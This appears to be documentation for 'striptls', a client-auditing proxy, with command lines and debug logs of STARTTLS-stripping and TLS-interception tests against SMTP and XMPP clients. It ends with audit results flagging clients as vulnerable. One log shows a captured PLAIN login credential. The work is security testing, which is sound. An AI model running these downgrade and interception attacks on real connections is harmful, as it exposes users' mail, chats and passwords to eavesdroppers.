	- INFO     - <RewriteDispatcher vectors={5222: set([<class striptls.StripFromCapabilities at 0xffd464ac>]), 110: set([<class striptls.UntrustedIntercept at 0xffd4620c>, <class striptls.StripWithError at 0xffd461dc>]), 143: set([<class striptls.StripWithError at 0xffd4629c>, <class striptls.UntrustedIntercept at 0xffd462cc>, <class striptls.StripFromCapabilities at 0xffd4626c>]), 21: set([<class striptls.UntrustedIntercept at 0xffd4638c>, <class striptls.StripFromCapabilities at 0xffd4632c>, <class striptls.StripWithError at 0xffd4635c>]), 119: set([<class striptls.StripWithError at 0xffd4641c>, <class striptls.UntrustedIntercept at 0xffd4644c>, <class striptls.StripFromCapabilities at 0xffd463ec>]), 25: set([<class striptls.StripWithInvalidResponseCode at 0xffd3138c>, <class striptls.StripWithTemporaryError at 0xffd4611c>, <class striptls.StripFromCapabilities at 0xffd316bc>, <class striptls.StripWithError at 0xffd4614c>, <class striptls.UntrustedIntercept at 0xffd4617c>])}>
	- DEBUG    - <ProtocolDetect 0xffcf6eccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0xffcf6e4cL> client ('127.0.0.1', 28902) has connected
	- INFO     - <Session 0xffcf6e4cL> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithInvalidResponseCode new: True>
	- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '200 STRIPTLS\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] => [server][mangled] None
	- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0xffcf6e4cL> terminated.
	- DEBUG    - <ProtocolDetect 0xffd0920cL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0xffd0918cL> client ('127.0.0.1', 28905) has connected
	- INFO     - <Session 0xffd0918cL> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithTemporaryError new: True>
	- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] => [server][mangled] None
	- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0xffd0918cL> terminated.
	- DEBUG    - <ProtocolDetect 0xffd092ecL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0xffd0926cL> client ('127.0.0.1', 28908) has connected
	- INFO     - <Session 0xffd0926cL> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripFromCapabilities new: True>
	- DEBUG    - <Session 0xffd0926cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0xffd0926cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
	- WARNING  - <Session 0xffd0926cL> terminated.
	- DEBUG    - <ProtocolDetect 0xffd093ccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0xffd0934cL> client ('127.0.0.1', 28911) has connected
	- INFO     - <Session 0xffd0934cL> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithError new: True>
	- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] <= [server][mangled] '501 Syntax error\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] => [server][mangled] None
	- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0xffd0934cL> terminated.
	- WARNING  - Ctrl C - Stopping server
	- INFO     -  -- audit results --
	- INFO     - [*] client: 127.0.0.1
	- INFO     -     [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
	- INFO     -     [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
	- INFO     -     [           ] <class striptls.StripFromCapabilities at 0xffd316bc>
	- INFO     -     [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>

### Strip STARTTLS from server capabilities

	#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripFromCapabilities
	- INFO     - <Proxy 0x1fe6e70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
	- INFO     - <RewriteDispatcher attacks={25: set([<class __main__.StripFromCapabilities at 0x01FE77D8>])}>
	- DEBUG    - <ProtocolDetect 0x1fe6f90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0x1fe6f10> client ('127.0.0.1', 20070) has connected
	- INFO     - <Session 0x1fe6f10> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0x1fe6f10> terminated.

### Invalid STARTTLS response code

	#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripWithInvalidResponseCode
	- INFO     - <Proxy 0x1fefe70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
	- INFO     - <RewriteDispatcher attacks={25: set([<class __main__.StripWithInvalidResponseCode at 0x02010730>])}>
	- DEBUG    - <ProtocolDetect 0x1feff90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0x1feff10> client ('127.0.0.1', 20061) has connected
	- INFO     - <Session 0x1feff10> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0x1feff10> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <Session 0x1feff10> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0x1feff10> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0x1feff10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0x1feff10> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0x1feff10> [client] <= [server][mangled] '200 STRIPTLS\r\n'
	- DEBUG    - <Session 0x1feff10> [client] => [server][mangled] None
	- DEBUG    - <Session 0x1feff10> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
	- DEBUG    - <Session 0x1feff10> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0x1feff10> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0x1feff10> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0x1feff10> terminated.

### Untrusted SSL Intercept (for clients not checking server cert trust)

	#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.UntrustedIntercept
	- INFO     - <Proxy 0x1f468f0 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
	- INFO     - <RewriteDispatcher attacks={25: set([<class __main__.UntrustedIntercept at 0x01F45298>])}>
	- DEBUG    - <ProtocolDetect 0x1f46a10 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0x1f46990> client ('127.0.0.1', 20238) has connected
	- INFO     - <Session 0x1f46990> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0x1f46990> [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server][mangled] '220 Go ahead\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server][mangled] waiting for inbound SSL Handshake
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0x1f46990> [client] => [server][mangled] performing outbound SSL handshake
	- DEBUG    - <Session 0x1f46990> [client] => [server][mangled] None
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250 AUTH LOGIN PLAIN\r\n'
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0x1f46990> terminated.

### XMPP Audit Trail

Example: Pidgin with optional transport security.

#### XMPP.StripInboundTLS - Inbound Plain - Outbound TLS - in case server requires starttls

        python striptls --listen 0.0.0.0:5222 --remote jabber.ccc.de:5222 -k ../server.pem
        - INFO     - <Proxy 0x7f08322ba310 listen=('0.0.0.0', 5222) target=('jabber.ccc.de', 5222)> ready.
        ...
        - DEBUG    - <ProtocolDetect 0x7f083196a810 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
        ...
        - INFO     - <Session 0x7f083196a7d0> client ('192.168.139.1', 56888) has connected
        - INFO     - <Session 0x7f083196a7d0> connecting to target ('jabber.ccc.de', 5222)
        - DEBUG    - <Session 0x7f083196a7d0> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripInboundTLS new: True>
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13821701589972978594' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] => [server][mangled] "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] => [server][mangled] performing outbound SSL handshake
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server][mangled] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] => [server]          "<iq type='get' id='purple9f914f80'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13515446948282835507' from='jabber.ccc.de' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<stream:error><invalid-namespace xmlns='urn:ietf:params:xml:ns:xmpp-streams'></invalid-namespace></stream:error>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          '</stream:stream>'
        - WARNING  - <Session 0x7f083196a7d0> terminated.

#### XMPP.StripFromCapabilities - strip starttls server annoucement

        - DEBUG    - <ProtocolDetect 0x7f083196a990 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
        - INFO     - <Session 0x7f083196a910> client ('192.168.139.1', 56890) has connected
        - INFO     - <Session 0x7f083196a910> connecting to target ('jabber.ccc.de', 5222)
        - DEBUG    - <Session 0x7f083196a910> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripFromCapabilities new: True>
        - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='12381525525258986322' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
        - DEBUG    - <Session 0x7f083196a910> [client] <= [server][mangled] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
        - DEBUG    - <Session 0x7f083196a910> [client] => [server]          "<iq type='get' id='purplecfe2ee07'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
        - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<stream:error><policy-violation xmlns='urn:ietf:params:xml:ns:xmpp-streams'></policy-violation><text xml:lang='' xmlns='urn:ietf:params:xml:ns:xmpp-streams'>Use of STARTTLS required</text></stream:error></stream:stream>"
        - WARNING  - <Session 0x7f083196a910> terminated.

#### XMPP.StripUntrustedIntercept - TLS Interception inbound and outbound with own certificate/key

        - DEBUG    - <ProtocolDetect 0x7f083196aa90 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
        - INFO     - <Session 0x7f083196a8d0> client ('192.168.139.1', 56892) has connected
        - INFO     - <Session 0x7f083196a8d0> connecting to target ('jabber.ccc.de', 5222)
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.UntrustedIntercept new: True>
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='10051743579572304948' from='jabber.ccc.de' version='1.0' xml:lang='en'><stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server][mangled] "<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server][mangled] waiting for inbound SSL Handshake
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server][mangled] performing outbound SSL handshake
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server][mangled] None
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='6938642107398534259' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><register xmlns='http://jabber.org/features/iq-register'/><mechanisms xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><mechanism>PLAIN</mechanism><mechanism>X-OAUTH2</mechanism><mechanism>SCRAM-SHA-1</mechanism></mechanisms></stream:features>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN' xmlns:ga='http://www.google.com/talk/protocol/auth' ga:client-uses-full-bind-result='true'>AHRpbgB4eA==</auth>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<failure xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><not-authorized/></failure>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '/stream:stream>'
        - WARNING  - <Session 0x7f083196a8d0> terminated.

#### XMPP Audit results

        - WARNING  - Ctrl C - Stopping server
        - INFO     -  -- audit results --
        - INFO     - [*] client: 192.168.139.1
        - INFO     -     [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
        - INFO     -     [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
        - INFO     -     [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>